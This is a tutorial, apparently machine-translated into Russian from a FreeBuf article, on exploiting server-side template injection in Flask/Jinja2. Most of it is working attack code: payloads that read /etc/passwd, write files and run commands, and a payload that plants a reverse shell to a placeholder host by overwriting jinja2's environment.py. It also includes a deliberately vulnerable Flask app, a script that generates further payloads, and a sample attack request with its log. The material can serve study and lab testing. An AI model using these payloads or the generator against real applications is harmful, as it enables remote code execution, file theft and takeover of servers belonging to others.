предисловие
Хотя эта уязвимость существует уже давно, иногда ее все еще можно увидеть. Просматривая фрибуф, кажется, что там только какие-то пейлоады python2, да и методы не очень полные. Я огляделся и сделал несколько обходных путей, вы можете обратиться к нему. Если есть какие-либо ошибки, пожалуйста, поправьте меня.
Введение в уязвимость
Принцип уязвимости может относиться к
woohoo.freeparts.com/articles/tower…
woohoo.freeparts.com/articles/tower…
Общие полезные нагрузки
ssti можно использовать для xss, но здесь он не будет подробно описываться; в предыдущих двух статьях было дано несколько часто используемых полезных нагрузок getshell; я подытожу и добавлю некоторые.
python2:
#注入变量执行命令详见 http://www.freebuf.com/articles/web/98928.html
#读文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
#写文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}
Вы также можете выполнять команды, написав environment.py для jinja2; шаблон jinja2 загрузит этот модуль, а этот environment.py импортирует модуль os, поэтому, пока вы можете написать этот файл, вы можете выполнить любую команду:
#假设在/usr/lib/python2.7/dist-packages/jinja2/environment.py, 弹一个shell
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/usr/lib/python2.7/dist-packages/jinja2/environment.py').write("\nos.system('bash -i >& /dev/tcp/[IP_ADDR]/[PORT] 0>&1')") }}
python3:
#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
Go Deeper
окрестности
Вот среда уязвимости flask ssti vulhub для легкого воспроизведения
#python3
#Flask version:0.12.2
#Jinja2: 2.10
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run();
__globals__
На самом деле идеи этих пейлоадов наверное одинаковые.Отталкиваясь от встроенных переменных python, вызывая некоторые скрытые атрибуты (методы) различных типов, мы можем получить нужные нам функции.
Один из глобальных атрибутов очень интересен, как описано в документации:
__globals__:
A reference to the dictionary that holds the function’s global variables —
the global namespace of the module in which the function was defined.
[Read-only]
То есть все функции будут иметь атрибут __globals__, который будет возвращать все переменные в пространстве имен модуля, в котором функция находится как dict. Например:
outFuncVar = 2
def func():
inFuncVar = 1
pass
print(func)
print(func.__globals__)
import os
print(func.__globals__)
Этот код выводит
<function func at 0x000001A0B8777F28>
{'outFuncVar': 2, , '__builtins__': <module 'builtins' (built-in)>}
{'outFuncVar': 2, , 'os': <module 'os' from 'F:\\Python\\lib\\os.py'>, '__builtins__': <module 'builtins' (built-in)>}
Вы можете видеть, что __globals__ будет включать в себя импортированные модули; в то же время каждый скрипт python будет автоматически загружать встроенный модуль, а этот модуль включает в себя множество мощных встроенных функций, таких как eval, exec, open и т. д.
>>> def test():
pass
>>> test.__globals__['__builtins__']
<module 'builtins' (built-in)>
>>> test.__globals__['__builtins__'].eval
<built-in function eval>
>>> test.__globals__['__builtins__'].exec
<built-in function exec>
>>> test.__globals__['__builtins__'].open
<built-in function open>
Таким образом, чтобы найти функцию (eval, exec..), которая может получить полезную нагрузку от встроенной переменной, просто вызовите скрытый атрибут из встроенной переменной, найдите любую функцию, а затем проверьте ее __globals__['__builtins__'] Хорошо, и это очень легко.
start to find a payload
Все мы знаем, что в классах Python есть методы, называемые специальными именами методов, которые вызываются в определенное время. Разработчики могут реализовать различные лаконичные и мощные функции, перегружая эти функции. Например, class.__init__ автоматически вызывается, когда экземпляр создается с помощью new(), таким образом действуя как конструктор.
И наша цель найти любую функцию, поэтому нам просто нужно найти эти функции, например, начиная со строки
#python3
#__class__返回调用的参数类型
#__base__返回基类
#__mro__寻找基类时参考类
#__sublclasses__()返回子类
#获得 object 类的子类
>>> ''.__class__.__base__.__subclasses__()
[<class 'str_iterator'>, <class 'mappingproxy'>, <class 'idlelib.AutoComplete.AutoComplete'>, <class 'pydoc.ModuleScanner'>, <class 'contextlib.ContextDecorator'>, <class 'textwrap.TextWrapper'>, <class 'socketserver.ThreadingMixIn'>, <class '_tkinter.tktimertoken'>, ...]
#从中随便选一个类,查看它的__init__
>>> ''.__class__.__base__.__subclasses__()[30].__init__
<slot wrapper '__init__' of 'object' objects>
# wrapper是指这些函数并没有被重载,这时他们并不是function,不具有__globals__属性
>>> ''.__class__.__base__.__subclasses__()[30].__init__.__globals__
Traceback (most recent call last):
File "<pyshell#8>", line 1, in <module>
''.__class__.__base__.__subclasses__()[30].__init__.__globals__
AttributeError: 'wrapper_descriptor' object has no attribute '__globals__'
#再换几个子类,很快就能找到一个重载过__init__的类,比如
>>> ''.__class__.__base__.__subclasses__()[5].__init__
<function TarFile.__init__ at 0x0000019D685A8158>
>>> ''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']
<built-in function eval>
#然后用eval执行命令即可
Процесс поиска функции можно решить с помощью небольшого скрипта, скрипт находит перегруженную функцию, а затем составляет полезную нагрузку
#!/usr/bin/python3
# coding=utf-8
# python 3.5
from flask import Flask
from jinja2 import Template
# Some of special names
searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
neededFunction = ['eval', 'open', 'exec']
pay = int(input("Payload?[1|0]"))
for index, i in enumerate({}.__class__.__base__.__subclasses__()):
for attr in searchList:
if hasattr(i, attr):
if eval('str(i.'+attr+')[1:9]') == 'function':
for goal in neededFunction:
if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
if pay != 1:
print(i.__name__,":", attr, goal)
else:
print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")
output
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='_Unframer' %}{{ c.__init__.__globals__['__builtins__'].exec("[evil]") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].eval("[evil]") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].open("[evil]") }}{% endif %}{% endfor %}
...
Выберите любую полезную нагрузку и введите команду
#Client request
http://127.0.0.1:5000/?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].eval("print('hello shell')") }}{% endif %}{% endfor %}
#server terminal
#成功打印出 hello shell, 说明成功执行
hello shell
127.0.0.1 - - [10/Feb/2018 02:41:48] "GET /?name={%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__==%27ImmutableDictMixin%27%20%}{{%20c.__hash__.__globals__[%27__builtins__%27].eval(%22print(%27hello%20shell%27)%22)%20}}{%%20endif%20%}{%%20endfor%20%} HTTP/1.1" 200 -
Конечно, этот метод подходит не только для python3, python2 также может использовать этот метод, указанная выше полезная нагрузка доступна для обеих версий.
Суммировать
Используя уязвимость ssti во фляге, можно получить мощные встроенные функции через встроенные переменные Python для выполнения различных команд. Атрибут __globals__, поставляемый с функциями Python, упрощает процесс поиска встроенных функций, независимо от ограничений версии.
* Автор этой статьи: пожалуйста, звоните мне летающий Сян, перепечатано с FreeBuf.com